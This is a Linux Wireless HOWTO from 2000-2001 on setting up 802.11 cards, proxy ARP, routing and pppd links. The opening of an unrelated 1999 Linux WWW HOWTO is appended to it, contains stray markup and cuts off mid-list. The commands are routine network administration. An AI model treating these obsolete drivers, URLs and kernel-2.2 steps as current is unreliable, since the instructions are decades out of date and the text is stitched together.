This document explains something about Wireless networking, how to setup it, problems with it. Unliked wired network, Wireless requires some additional trick to work well. You should know something about antennas, pointing it, roaming info and so on. Feedback are welcome. You can found more interesting help at Jean Tourrilhes Wireless Howto

For any suggestion and feedback write to my email address

1.2 Copyright

Copyright (C) 2000,2001 Roberto Arcomano.

This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You can get a copy of the GNU GPL here

1.3 Translations

If you want to translate this document you are free, you only have to:

  1. Check that another version of it doesn't already exist at your local LDP
  2. Maintain all 'Introduction' section (including 'Introduction', 'Copyright', 'Translations', 'Credits').

No need to ask me to translate! You just have to let me know (if you want) about your translation.

Thank you for your translation!

1.4 Credits

Thanks to Fatamorgana Computers for hardware equipment and experimental opportunity.

Thanks to Linux Documentation Project for publishing and uploading my document in a very quickly fashion.


Wireless Howto: Background Knowledge

 Next Previous Contents

2. Background Knowledge

2.1 What about Wireless?

Wireless is a new technology that can help you to connect computers at distance. It works with Wireless cards with a TX/RX inside at 2.4 GHz while the software interface is Ethernet-like, with an hardware address different for each card in the world. Typical transmit power is 10-20 mW till 100mW (see standard IEEE 802.11 and FCC/CEPT licenses).

2.2 What's the max distance between radio cards?

The most important thing in Wireless communications is the line of sight clear: you MUST SEE (with eyes or with a binocular) the antenna from the other end or you can have (at most) a little tree between them.

The distance depends on the antenna and (eventually amplifier) used: 2-300 meters with a omnidirectional antenna; 1 km with a directive one; 2-3 km with a omnidirectional amplified (200mW); some km with parabolic antenna. 50-60 km with parabolic or directive antenna amplified (some Watts).

Be aware that it is not always legal to amplifier Wireless cards, cause you could violate FCC/CEPT (and also your country relative) specifics.

2.3 What's the difference between wired and Wireless network?

Wired networks are very simple to setup (at least at low level). Wireless networks are very difficult to setup, to manage, to debug... Typical problem with wired networks like hardware install, software install, debug and so on become very critical with Wireless:

  1. You have to choose the right Wireless card: there are many cards from many vendor with many requirement and specs. If you want to create a little LAN/WAN you have to buy IEEE 802.11 compliant Wireless cards with an Access Point.
  2. Many cards are PCMCIA, so you have to install pcmcia Linux source first.
  3. You have to test it with 2 running systems, first at very short distance, then you can get far.
  4. You should test it at any weather (typically rain).
  5. Finally be happy for setting up.

If you installed a repeater (Linux box that has many Wireless and wired cards) you may have problem editing its configuration at distance!

2.4 What I need to know to setup a Wireless network?

There are a number of requirement to setup a Wireless network;

software requirement:

  1. Generic network knowledge like IP address, netmask, routing... covered by generic Linux NET3-4-HOWTO; *
  2. Specific network knowledge like proxy arp, bridging, proc fs, contained in Proxy-ARP-Subnet, Bridge Mini-Howto and in Linux Kernel Source (2.2.x or 2.4.x) under Documentation/networking/ ip-sysctl.txt) *
  3. Wireless network knowledge like access mode (ADHOC, INFRASTRUCTURE and ACCESS POINT), channel concept, outdoor and indoor defines and so on that you can find in any document concerning Wireless: IEEE standard 802.11, CEPT, etc.

non software requirement:

  1. Minimal experience in antennas, physical mounting, pointing
  2. Pc hardware installation with particular attention to not produce interference between different Wireless Cards (if required).

finally a great luck!

* All Howtos needed by this document can be retrieved from http://www.linuxdoc.org

2.5 Why should I setup a Wireless network and what I expect from it?

Why? Because you're not satisfied of wired network!

With Wireless cards you can go across garden, parks, houses, (but you MUST SEE the other end!).

High Level Protocol used in Wireless Cards are the same used in Ethernet cards: TCP/IP over Wireless Ethernet-like but make attention to Windows Sharing Application, cause if you use Linux to forward, you are warned that a ip forwarder doesn't let pass through broadcast messages (see more on NetBIOS protocol): in this case you should use a WINS server to support Network Browsing (see Samba doc).

Wireless let you create a little LAN/WAN with a central point of access (maybe with Internet Access!) and give access to anyone by air!

Imagine a country all cabled by radio machines.

Imagine a network that can connect all country people together, sharing files, audio applications, video applications at high bandwidth (like cable network).

All that can be done (and it's already done in some country) using Wireless cards with Wireless Access Point and Wireless Linux Boxes that can operate as repeater (at IP level such as router or, if you want, at data-link level, with bridge driver, see more at Bridge Http Link or Bridge Ftp Link

2.6 What Wireless cards are covered by this howto?

In this howto I start with a generic configuration (to introduce Wireless networking), then I describe an example for each card I knew directly, with some trick you can use to improve its performance.

Wireless Card list:

  1. Proxim Symphony - http://www.proxim.com
  2. Webgear AviatorPRO 2.4 (pcmcia support needed) - http://www.webgear.com
  3. Lucent Wavelan I, II, Orinoco - http://www.lucent.com and http://www.orinocowireless.com
  4. Cabletron - http://www.cabletron.com
  5. YDI am930_isa - http://www.ydi.com
  6. Siemens Radio Modem (Dect) - http://www.siemens.com
  7. RadioLan (5 GHZ) - http://www.radiolan.com

For a very more exhaustive list see Jean Tourrilhes Wireless Howto.

Siemens Radio Modem is not a really 802.11 Wireless card, they are modems that you can attach to serial and they act as modem (at 1800 MHz, so DECT technology). Appendix B describe their use.

RadioLan cards work at 5.4GHz in a Windows 9x environment and with a RadioLan Access Point that bridges between Wired and Wireless networks (there are no Linux driver as I know).

2.7 How much do they cost?

Wireless cards listed above are very low expansive: they start from very few hundred of dollars up to some thousand of dollars for Access Point that have 2 Wireless card (Lucent, for example) that can act as a bridge.


Wireless Howto: Technical info about Wireless

 Next Previous Contents

3. Technical info about Wireless

Here I report some technical info to understand basic Wireless environment.

3.1 Physical Layer

At first layer ISO/OSI we can have 3 kind of spec:

  1. FHSS, Frequency Hopping Spread Spectrum
  2. DSSS, Direct Sequence Spread Spectrum
  3. Infrared connections, not covered by this howto

3.2 Configurations

2 types of configurations:

  1. AdHoc mode (also called Independent mode), where you have independent networks with a BSS (Basic Service Set) each one. Each station has the same BSS.
  2. Infrastructure mode, where a number of networks (with a BSS each one) can communicate each other by means of an Access Point (one for each BSS) to create a ESS (Extended Service Set). Also there is a roaming function letting a station "attach" to the nearer Access Point.

Adhoc is the simpler method (and the also the less scalable) and let many hosts communicate each other directly. The restrictive requirement is that all one are to be visible directly to reach a complete coverage of the network. (at least Ideally, because this problem could be solved at IP level! For more see Par 5.4).

                                 Adhoc mode

                               A - - - - - C
                                 \       /
                               |   \   /   |
                                     /\
                               |   /    \  |
                                 /       \
                               B - - - - - D

In a Infrastructure environment you use the Access Point to which ALL other hosts must connect to share the network.

Infrastructure mode
                                    ESS

          A - - - | - Access Point - -  Access Point - | - - - D

          B - - - |   BSS1                   BSS2      | - - - E

          C - - - |                                    | - - - F

B and C could not see D,E and F, but they can communicate as well cause all one are using the same ESS. Important: A,B and C could also not see each other.

In addition there are terms like indoor and outdoor to distinguish short area coverage from long area coverage.

3.3 Compatibility

Keep on mind that there are a number of Wireless cards in the world, but not every card can communicate with every other one. For talking together the cards have to use to:

  1. same configuration mode: all Adhoc or all Infrastructure
  2. same physical layer: all DSSS or all FHSS
  3. same protocol (for example Proxim has its particular proprietary protocol OpenAir that cannot talk with other FHSS cards).

3.4 Should I use Adhoc or Infrastructure?

Access Point are very useful and killing problem but they are expansive. Ideally, for a more concentrated network you could use Infrastructure mode, while for few hosts you can choose Adhoc: why to spend much money for few hosts?

Anyway be aware that if you spend much money probably all works well while spending less you could have some trouble.

3.5 A Linux Box cannot act as an AccessPoint?

Good asking!

Recently there is a kind of hardware that allows this feature: Prism2

You can find something at http://people.ssh.com/jkm/Prism2/


Wireless Howto: Toolbox required

 Next Previous Contents

4. Toolbox required

4.1 Hardware requirement

You need a Linux Box (486 or, better, a Pentium 100+ with 16MB+ ram), the Wireless network card, an antenna (see par 2.2). You need the same on the other end (with Win9x or WinNT, if you prefer...) cause you have to simulate a communication!

4.2 Software requirement

You need:

  1. recent stable kernel sources (2.2.x)
  2. recent stable pcmcia sources (pcmcia-cs) if you bought a pcmcia card
  3. Wireless network driver: if you don't have it you can download it from the vendor web site or the card manufacturer web site. If you don't find it you can search at Jean Tourrilhes Wireless Howto.

If you don't find even here you probably have to wait or to convert a Windows driver to a Linux driver!! (good luck!).

After that, you have to recompile your kernel, recompile your pcmcia source (if need by the Wireless card), finally recompile your Wireless driver. That is the generic situation, maybe for some card you have to perform step 3 only or 1 and 3, it depends on specific driver.


Wireless Howto: Overview on Wireless network setup.

 Next Previous Contents

5. Overview on Wireless network setup.

5.1 Fundamental steps

Once you have got the needed material and you have compiled all the needed you should do the fundamental step in a Wireless configuration:

  1. Low level kernel config Let the Linux Kernel see your Wireless card (at low level, such as ioport, interrupts, dma...): you must see some kind of kernel message that advertise you that Wireless card has been right found and configured.
  2. Data-link level setting For each particular Wireless card there is an utility that can set typical Wireless data-link level value. For example in Proxim Symphony the utility is called "rl2cfg" while in pcmcia cards settings are in pcmcia config files. You have to set all your Wireless cards with coherence to make them talk together.
  3. Ip setting Now you should be able to use ifconfig and route capabilities to change IP settings.
  4. Tricks for better performance and to a avoiding conflicts. Now your Wireless Network is basically working: in addition you have to adjust some particular setting like proxy-arp, icmp echo redirect, bridging, channel change and so on to optimize your network and avoiding strange and bandwidth killing conflicts

N.B.: step 1, 2 and 3 correspond to level 1, 2 and 3 of standard ISO/OSI, while step 4 is an addendum to solve situation generated by netmask 255.255.255.255. In fact 32 bit netmask violates standard ISO/OSI cause the network force to use the same address for broadcast and ip machine and the network address doesn't exist.

Someone could criticize this point of view, but if you use the standard ISO/OSI to configure Wireless network with you'll loss many ones configuring subnets; for each subnet usually you discard 2 IP number (Network and broadcast) and you cannot achieve the flexibility on IP assigning (geographically kind). You can find more on Appendix A about this.

You could notice that step 2 is not present in Wired cards cause there's no particular settings to do there.

5.2 Low Level Kernel Config

Always it's a problem for Pc administration: to let kernel (or in general) see your hardware.

Wireless cards are more complex because many of them usually have a Pcmcia plug, so first of all you have to let your kernel see Pcmcia adapter card, then you can try to install specific hardware driver for your Wireless card.

So, in Pcmcia config you have to:

  1. install linux kernel source, from http://www.kernel.org to /usr/src/linux (see tar and gzip utilities)
  2. install linux pcmcia source, from ftp://projects.sourceforge.net/pub/pcmcia-cs to install to /usr/src/pcmcia (see tar and gzip utilities)
  3. config and recompile your kernel: read file README in your linux directory (/usr/src/linux)
  4. config and recompile your pcmcia source: under /usr/src/pcmcia use configure and make. Be sure your driver is here, else your have to install it following driver instructions (usually a tar zxvf driver.tgz under pcmcia dir is sufficient). After type "make all" to compile. At the end type "make install".
  5. After typed install you'll find some useful config files under /etc/pcmcia .

In non pcmcia case:

  1. If your driver is present (99% not) under linux sources, you have to install it in a directory, then to compile it.

Once you know module name you have to load it: in pcmcia config you only need to start pcmcia daemon (/etc/rc.d/init.d/pcmcia start for RedHat), for other "modprobe module_name options". With options you'll give ioport, irq and data-link settings (see Par 5.3) to Wireless driver. Anyway your useful tools to know if hardware has correctly been seen by driver are:

  1. "tail /var/log/messages" that explains info about syslog
  2. "dmesg" for more info.
  3. /proc dir: ioports, devices, irq files and driver specific sub-directories.

5.3 Data-link level setting

What is that?

Wired networks need only to connect each other and then you'll be able to set TCP/IP parameters.

In opposite Wireless networks need data-link settings, such as:

  1. What kind of Wireless network I belong to? (Adhoc or Infrastructure)
  2. What channel I have to use?
  3. What subnet (BSSID) I belong to, what is my ESS ID?
  4. Is my communication protected by such a encryption algorithm? Length key?

As you see there are many settings you have to adjust, the reason come from the architecture of Wireless network: there could be someone, in near distance, that could see your packets, use your services only pointing his antenna on the right direction and setting up right TCP/IP parameters.

In addition there could be many Wireless subnets that could generate interference each other.

So here are:

  1. Options at load-time module: "modprobe ray_cs essid='LINUX'" for example or
  2. Utilities at run-time driver: "rl2cfg eth1 master".

5.4 Ip setting

This is the third problem you have to face. Here situation become problematic only when your network begin to evolve in a bigger one.

Remember Wireless IP Networking doesn't stress you if you don't stress it!

A simple configuration

                       All the hosts view each other

                               A - - - - - C
                                 \       /
                               |   \   /   |
                                     /\
                               |   /    \  |
                                 /       \
                               B - - - - - D

A configuration like this is very simple and don't require nothing special (at Ip level): you only need to assign an IP address for each host and to assign a coherent global netmask.

A more complex configuration

                       A doesn't see B directly

                                A <- - - -
                              NO\        |
                            TALK\        C
                                \        |
                                B <- - - -

Here A and B can communicate only passing through C.

If the network is in Infrastructure mode and C is the Access Point all is ok. In Adhoc mode you also can design a host to "master" capability (I know the term is not so formal!), a host that creates a BSS and to which any other host can join that BSS.

Full connectivity now is reached at IP level: A and B talk to C using the same C interface, so if you try to ping from A to B you'll receive many ICMP REDIRECT packets from C, cause C is telling A that the destination is already in the network from which come the request.

Solution: type a "echo 0 > /proc/sys/net/ipv4/conf/ethx/send_redirects" (where ethx is the interface on C towards A and C) to null all that.

Another problem: what netmask I assign to A and C? If you assign a netmask to A that include A and C nothing works because A don't use the gateway (C) but make the ARP request with unknown destination MAC address.

You could think to use proxy arp, but without effect cause proxy arp reply to source only when the destination is in a different interface from the source: this is not the case!!

So you have to set a very little netmask (Win9x let it be 255.255.255.254, WinNT at least 255.255.255.248), and you have to assure that hosts A and C don't have the same net address.

Examples:

  1. IP(A) = x.y.z.2/31, IP(B) = x.y.z.3/31. This doesn't work cause A asks for B in its network (ARP request) and C doesn't answer cause, for it, A and B belong to the same interface (so, no proxy arp).
  2. IP(A) = x.y.z.1/31, IP(B)= x.y.z.2/31. This works cause A ask to C (send requests to B with C MAC address) for B.

In general with a netmask 255.255.255.254 system works with 2 IP changing only for the final bit.

All that is a TCP/IP forcing but is the only method to obtain an high level of flexibility.

Note: If you use an Access Point (network in Infrastructure mode) you haven't redirect problem, cause all is solved at data-link level (almost every Access Point acts as a bridge...). But Access Point are expansive (about 1000 USD or more) and it is more economic to use a P133 32MB Ram to forward, even with 2 or more cards.

Internet Access

                               A - - - - - C - - Internet
                                 \       /
                               |   \   /   |
                                     /\
                               |   /    \  |
                                 /       \
                               B - - - - - D

There is a number of situation:

  1. C is the only Public IP address. You only have to set private IP address (192.168.x.y for example) for the Wireless network enabling, on C, forwarding and masquering. A, B and D will have C as default GW.
  2. You have a public netmask visible from Internet and C is your default GW to Internet for the network. You only need to enable forwarding on C, setting up default GW on A, B and D to point to C.
  3. You have a public netmask visible from Internet and C is not the default GW to Internet. You have 2 possible solutions: Modify your default GW to let it point to C for your network. Symmetrically you have to let C point to default GW to go to Internet. You could, instead, enable proxy arp feature to C (echo 1 > /proc/sys/net/ipv4/conf/ethx/proxy_arp where ethx is the interface towards the default GW) and set your default GW on C to point to the default GW. Proxy arp is a TCP/IP forcing but works well.

Mixed network: Wired and Wireless

                                Internet
                                       \
                                        \        E
                                         \     /
                                          \  /       Wireless
                               A - - - - - C - - F
                                 \       /   \
                               |   \   /   |   \
                        Wired        /\          G
                               |   /    \  |
                                 /       \
                               B - - - - - D

Now C joins 2 networks: on the right Wireless and Wired on the left.

More you have Internet Access, so in total you have 3 network cards in C.

What IP Address I assign to hosts? You have 2 possible solutions:

  1. Split up network in 2 subnets: for example 192.168.1.0/24 and 192.168.2.0/24. This solution is quickly but is not scalable if you are using Internet IP addresses cause you have to drop too many IPs.
  2. Enable Proxy Arp feature to C for all 2 interfaces. Network parameters (net address and netmask) are the same for Wireless and Wired, but with proxy-arp enabled I can choose which IPs are on Wired and which on Wireless.

Now we examine solution 2

For example: Consider you have Internet public subnet x.y.z.0/24.

Interfaces are:

  1. ifconfig eth0 x.y.z.C netmask 255.255.255.255 (Wired)
  2. ifconfig eth1 x.y.z.C netmask 255.255.255.255 (Wireless)
  3. ifconfig eth2 x.y.z.C netmask 255.255.255.255 (to Internet)

Static routes on eth2:

  1. route add IPGW dev eth2
  2. route add default gw IPGW

This route stands for addressing all Internet requests to your Default GW: as you notice, first you have to tell Linux where is the router, then let default requesting through it.

Static routes on eth0:

  1. route add x.y.z.A dev eth0
  2. route add x.y.z.B dev eth0
  3. route add x.y.z.D dev eth0

Hosts A,B and D on the Wired Network

Static routes on eth1:

  1. route add x.y.z.E dev eth1
  2. route add x.y.z.F dev eth1
  3. route add x.y.z.G dev eth1

Hosts E,F and G on the Wireless Network

Note that flexibility is very high, but you have to manual set each host.


Wireless Howto: Setup

 Next Previous Contents

6. Setup

Here I report some examples (I hope useful!) on how to configure more diffuse and not expansive Wireless Cards.

6.1 General setup info

Wireless cards have interface similar to any Ethernet cards, so you have to add in /etc/conf.modules:

  1. "alias ethx module", where ethx is the interface you want to assign to your wireless card and module is name of kernel module.
  2. "options module io=0xAAA irq=I ...", where 0xAAA is the io base address to assign the card, I is the IRQ and so on if there are other parameters.

After this you'll be able to use ifconfig and route commands to configure your card at IP level.

6.2 Proxim Symphony

Network type: FHSS, Adhoc only and with proprietary protocol OpenAir.

Web site: http://www.proxim.com where you need to download documentation and driver for Linux and Win9x.

Drivers come with source code to compile:

  1. untar it in a empty directory
  2. type make for help.
  3. make modules; make modules_install to install the driver rlmod.o and the utility rl2cfg.
  4. to run the driver (after modified /etc/conf.modules: see Par.6.1.) you only need to turn up the interface with ifconfig command.

Utility rl2cfg (for help type man rl2cfg once done c step) let you change typical data-link level settings:

  1. "rl2cfg dev ethx sta" to set it to station (Slave)
  2. "rl2cfg dev ethx msta" to set it to master station (Master)
  3. "rl2cfg dev ethx alt" to set it to automatically mode

This is all you have to know to get it properly working.

6.3 Webgear Aviator 2.4 and AviatorPro

Network type: FHSS, Adhoc only for Aviator 2.4 and Infrastructure for AviatorPro.

These cards need more for working, because you have to compile Pcmcia source as they come with Pcmcia plug.

Web site is http://www.webgear.com.

To configure:

  1. You have to download source pcmcia and to expand it to /usr/src/pcmcia (see Par 5.2)
  2. Download driver form http://www.webgear.com and type "tar zxvf driver.tgz" in /usr/src/pcmcia directory.
  3. reconfig pcmcia (see Par 5.2)
  4. Following instructions you have to append to file /etc/pcmcia/config.opts entry "source ./ray_cs.opts".
  5. Note that in /etc/pcmcia/ray_cs.opts there is a line like this: "module "ray_cs" opts "...". Here you have to modify some settings at data-link level present in "opts" .

Arguments:

  • pc_debug=x , where x is the log level.
  • net_type=x, x=0 for AdHoc, x=1 for Infrastructure.
  • essid=x, x is the ESSID

Finally, to verify configuration with pc_debug > 0, you will see data-link messages in your console like these: "network started" for a new Wireless network created and "network joined" for a new Wireless network joined to another one.

Also File /proc/ray_cs can help you: flied BSSID report to which Subnet you belong to, if it is null you can receive data from no one cards.

6.4 Lucent Wavelan I, II, Orinoco products and Cabletron

Network type: DSSS, Adhoc and Infrastructure.

Lucent products are very professional ones.

Web site: http://www.lucent.com and http://www.orinoco.net.

Setup is like WebGear-like: step 1,2,3 are similar

Then you have to add to file /etc/pcmcia/config.opts: module "wavelan_cs" opts " ..." for Lucent Wavelan I module and "wavelan2_cs" opts " ...", for Lucent Wavelan II or Orinoco.

Under opts you will specify:

  1. port_type=x, where x indicates Adhoc(3) or Infrastructure(1)
  2. channel=x, x=channel, option relevant for AdHoc mode only.
  3. transmit_rate=x, to fix the speed rate: attention to this setting for compatibility with Cabletron cards.

Note: Ideally, it is possible in a Linux Box to have 2 Lucent Wavelanx cards, one in Adhoc mode and the other in Infrastructure mode. Only one of them could properly works because, when starting pcmcia service, all 2 cards are set with same opts value (so in Adhoc or Infrastructure mode). So we have to create a Linux module (or maybe a user mode program) that can change data_link parameters at run-time such as access mode and channel used in Adhoc mode!

The channel parameter is usually used to avoid interference with near other Wireless TX/RX.

Lucent drivers could also be used for Cabletron cards http://www.cabletron.com

6.5 YDI

Network type: DSSS, Adhoc and Infrastructure.

YDI sells very professional cards with antennas, amplifiers and more.

Web-site http://www.ydi.com

To install:

  1. untar it in a empty directory.
  2. type make for compile.
  3. make install to install the driver am930_isa and the wlanctl utility

Once done you can choose if type manual commands using "wlanctl" data-link utility or run the "scripts/wlan" file or "scripts/rc.wlan" file to automatically config your network.

In manual case these are major settings:

  1. "wlanctl scan ..." to search for BSSs already present.
  2. "wlanctl netlist" show you what's found with "wlanctl scan ...".
  3. "wlanctl bsscreate ... ssid" to create a new network with ssid parameter.
  4. "wlanctl bssjoin bssid" to join the network identified by bssid.
  5. "wlanctl authen" and "wlanctl assoc" for authentication services.


Wireless Howto: More about Wireless

 Next Previous Contents

7. More about Wireless

7.1 A Wireless Linux distribution

The wireless distribution FlyingLinux started in October 1999 in the Telecommunication Systems Lab at Teleinformatics KTH with the objective of studying the possibilty of using MobileIPv4 and standard DHCP-based wireless access for student labs.

The result of that work was the FlyingLinux environment available for one hundred students and teachers during the 2G1303 project course that was held from March to May year 2000.

FlyingLinux is the first linux distribution oriented to mobility services. We have taken care of the security issues including Kerberos support and OpenSSH.

FlyingLinux is part of the Open Source movement. We have included software that have been developed at KTH under the GPL licence.

You can find the Wireless Linux distribution at this Web Site.

Mantainer: Alberto Escudero Email, Home Page


Wireless Howto: Useful links

 Next Previous Contents

8. Useful links

8.1 Open software link

  • Linux-wlan project
  • Jean Tourrilhes Wireless Howto

8.2 Commercial link

  • Fatamorgana Computers
  • Lucent web site
  • YDI web site
  • Siemens web site


Wireless Howto: FAQ - Frequently asked questions

 Next Previous Contents

9. FAQ - Frequently asked questions

Q1: What's the difference between BSSID and ESSID and when I need a ESSID?

A1: BSSID is 48 bit number used to identify the BSS short area, where all hosts talk each other (eventually with an Access Point) ESSID is a variable length string that can let communicate different BSS are to extend it to a Extended Service Set (ESS). There is one Access Point for each BSS and all they talk together only if you belong to the same ESSID. Really you need ESSID if you have a large network with at least 2 Access Points.

Q2: What Access Point I have to buy?

A2: The less expansive you find: what is important is that the Access Point and the cards you are using use the same Physical Layer Specific: all FHSS compatible or all DSSS compatible. Attention to Proxim RangeLan2 cards that cannot talk with other standard FHSS because they use the proprietary protocol OpenAir.

Q3: What do I use the channel setting for?

A3: When you have more network with different BSS (and with different vendors) you could have interference problem: changing channel on Access Points or in Adhoc mode hosts could help you avoiding this kind of problems.

Q4: Why I cannot set channel on Infrastructure hosts?

A4: Because the channel is decided by the Access Point.


Wireless Howto: Appendix A - Netmask 255.255.255.255, proxy arp and bridging

 Next Previous Contents

10. Appendix A - Netmask 255.255.255.255, proxy arp and bridging

Here we view some Linux advantages in Wireless Internetworking.

Linux let you specify a netmask like 255.255.255.255 for an interface which can help you assign IP addresses in to any interface you want, for example one in eth0, another in eth1 and so on...

This has not particularly side-effects.

In addition you have proxy arp setting under /proc/sys/net/ipv4/conf/ethx/proxy_arp where ethx if your interface.

If you "echo 1 > proxy_arp" you enable proxy_arp for that interface while with "echo 0 > proxy_arp" you disable it.

What's proxy_arp? Quickly proxy arp help you when you want a router answer to an ARP request if the destination address is in another interface of the linux router.

Example:

192.168.1.1 ---- 192.168.1.2 Linux router 192.168.2.2 ----192.168.2.1

To get this example working you should:

Without proxy-arp

  1. In 192.168.1.1 host to set 192.168.1.2 as gateway
  2. In 192.168.2.1 host to set 192.168.2.2 as gateway
  3. pinging with success from any edge.

With proxy-arp

  1. In 192.168.1.1 host to set 192.168.1.2 as gateway
  2. do not set gateway for 192.168.2.1 host but enable proxy_arp for right interface of the router.
  3. pinging with success from any edge

Proxy-arp in 2. case let the linux router answer when you ping from 192.168.2.1 host, saying that it has the 192.168.1.1 host so it can answer for it. After, when the source start sending ICMP packet, Linux router knows that it have to redirect it to the real host 192.168.1.1

In Wireless network proxy arp can help you if you have many Linux boxes that acts as IP Forwarders and you wouldn't set to all hosts a number of static route.

You also can experiment Linux bridging in Wireless network:

  1. install a recent stable kernel
  2. download good bridge utils at http link or ftp link

Bridging should be more simple to manage.


Wireless Howto: Appendix B - Siemens DECT Radio Modem

 Next Previous Contents

11. Appendix B - Siemens DECT Radio Modem

Web Site: http://www.siemens.com

What's that? These 2 components are not real PC cards but are more like modems that you use as external device.

Host1-serial - RadioModem1 - - - - - RadioModem2 - serial-Host2

How can I connect it?

If you see them in an abstract vision you can model them like this:

Host1-serial - - NULL MODEM CABLE - - serial-Host2

So you'd have a connection between 2 far serials with 2 possible configurations:

  1. Linux with Windows, Linux has a daemon that answer to a ppp call while Windows has a Dial up connection under Remote Access.
  2. Linux with Linux, where you can run (on all 2 hosts) a ppp connection, with IP addresses inverted.

For 1 you can use this simple script in Linux:

"/usr/sbin/pppd -detach lock idle 300 crtscts connect "/usr/sbin/chat -v TIMEOUT 5 AT OK AT OK AT OK AT OK" IPLINUX:IPWINDOWS /dev/ttySx 115200 disconnect "/usr/sbin/chat -v AT OK" ms-dns IPDNS"

where:

  • /dev/ttySx is your serial port,
  • IPDNS is the IP address of your dns server,
  • IPLINUX is the Linux IP address as IPWINDOWS is the Windows IP address.

The above script is need for letting Windows believe there is a modem on the serial end!

In Windows you need to create a Dial Up connection with crtscts enabled, speed at 115200 and with a stupid number to call (need by Remote Access but absolutely not used).

With 2 Linux boxes you only have to run a very simple script like this at each Linux side:

"/usr/sbin/pppd passive local crtscts IPLINUX1:IPLINUX2 /dev/ttySx 115200 noauth persist"

where you'll invert IPLINUX1 with IPLINUX2 at the other edge.

Note that you can do authentication even Linux-Windows than in Linux-Linux if you want.


Linux WWW HOWTO

by Mr. Poet, poet@linuxports.com

v0.85, 21 August 1999

This document contains information about setting up WWW services under Linux (both server and client). It tries not to be a in detail manual but an overview and a good pointer to further information.

1. Introduction

  • 1.1 Copyright
  • 1.2 Feedback
  • 1.3 New versions of this Document

2. Setting up WWW client software (Antiquated)

  • 2.1 Overview

3. Lynx

  • 3.1 Where to get

4. Emacs-W3

  • 4.1 Where to get

5. Netscape Navigator/Communicator

  • 5.1 Different versions and options.
  • 5.2 Where to get
  • 5.3 Installing

6. Setting up WWW server systems

  • 6.1 Overview

7. Apache

  • 7.1 Where to get
  • 7.2 Compiling and Installing
  • 7.3 Configuring
  • 7.4 Hosting virtual websites
  • 7.5 CGI scripts
  • 7.6 Users Web Directories
  • 7.7 Daemon mode vs. Inetd mode
  • 7.8 Allowing put and delete commands
  • 7.9 User Authentication/Access Control
  • 7.10 su-exec
  • 7.11 Imagemaps
  • 7.12 SSI/XSSI
  • 7.13 Module system

8. Web Server Add-ons

9. Intranet Section

  • 9.1 What is required
  • 9.2 New versions of this document
  • 9.3 Feedback

10. Install the HTTP server

  • 10.1 Preparation before downloading
  • 10.2 Compiling HTTPd

11. Testing HTTPd

12. Connecting to the Linux Server

  • 12.1 Setup the Linux server
  • 12.2 Setup the Netware server
  • 12.3 Setup the Netware Client
  • 12.4 Setup Microsoft Client
  • 12.5 Setup TCP/IP on Macintosh

13. Setting up the Intranet

  • 13.1 NCPFS
  • 13.2 SMBFS
  • 13.3 NFS

14. Accessing the Web

  • 14.1 Accessing the mounted filesystems
  • 14.2 Connecting to the Internet
  • 14.3 Other uses

15. More things to do

16. Credits and Legalities

  • 16.1 Thanks
  • 16.2 Copyright information

17. For further reading

  • 17.1 O'Reilly & Associates Books
  • 17.2 Internet Request For Comments (RFC)


Linux WWW HOWTO : Introduction

 Next Previous Contents

1. Introduction

Many people are trying Linux because they are looking for a really good Internet capable operating system. Also, there are institutes, universities, non-profits, and small businesses which want to set up Internet sites on a small budget. This is where the WWW-HOWTO comes in. This document explains how to set up clients and servers for the largest part of the Internet - The World Wide Web.

All prices in this document are stated in US dollars. This document assumes you are running Linux on an Intel platform. Instructions and product availability my vary from platform to platform. There are many links for downloading software in this document. Whenever possible use a mirror site for faster downloading and to keep the load down on the main server.

1.1 Copyright

This document is Copyright (c) 1999 by Mr. Poet

This document is Copyright (c) 1997 by Wayne Leister. The original author of this document was Peter Dreuw.(All versions prior to 0.8)

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the GNU General Public License for more details.

You can obtain a copy of the GNU General Public License by writing to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Trademarks are owned by there respective owners.

1.2 Feedback

Any feedback is welcome. I do not claim to be an expert. Some of this information was taken from badly written web sites; there are bound to be errors and omissions. But make sure you have the latest version before you send corrections; It may be fixed in the next version (see the next section for where to get the latest version). Send feedback to poet@linuxports.com.

1.3 New versions of this Document

New versions of this document are always available at the LinuxPorts Website.


Linux WWW HOWTO : Setting up WWW client software (Antiquated)

 Next Previous Contents

2. Setting up WWW client software (Antiquated)

Please note that the following section is very outdated and was last updated in 1997. This section is being kept here for historical purposes only. All major distributions of Linux come with Netscape and Lynx. These are the two most popular browsers for the Linux Operating System. If you do not have these browsers installed currently please go to their respective sections for download information.

The following chapter is dedicated to the setting up web browsers. Please feel free to contact me, if your favorite web browser is not mentioned here. In this version of the document only a few of the browsers have there own section, but I tried to include all of them (all I could find) in the overview section. In the future those browsers that deserve there own section will have it.

The overview section is designed to help you decide which browser to use, and give you basic information on each browser. The detail section is designed to help you install, configure, and maintain the browser.

However I use Lynx when I don't feel like firing up the X-windows/Netscape monster.

2.1 Overview

Navigator/Communicator

Netscape Navigator is the only Linux browser mentioned here, which is capable of advanced HTML features. Some of these features are frames, Java, Javascript, automatic update, and layers. It also has news and mail capability. But it is a resource hog; it takes up lots of CPU time and memory. It also sets up a separate cache for each user wasting disk space.

Netscape is currently an OpenSource product and can be downloaded from ftp.netscape.com=>. <tag><ref id= name="Lynx"> Lynx is the one of the smallest web browsers. It is the king of text based browsers. It's free and the source code is available under the GNU public license. It's text based, but it has many special features. Lynx now supports tables, color (via curses) and frames.

Note on frame support for lynx:

The frame support for lynx is limited, it will notice the frames and show the title of the frames for your to select as hot links. Since, frame titles are usually very undescriptive for coding simplicity this can be confusing.

Kfm

Kfm is part of the K Desktop Environment (KDE). KDE is a system that runs on top of X-windows. It gives you many features like drag an drop, sounds, a trashcan and a unified look and feel. Kfm is the K File Manager, but it is also a web browser. It is very usable as a web browser and it supports frames, tables, ftp downloads, looking into tar files, and more. The current release of KDE is 1.1.1 with 1.1.2 very near by. Kfm can be used without KDE, but you still need the librarys that come with KDE. For more information about KDE and Kfm visit the KDE website at http://www.kde.org.

Emacs

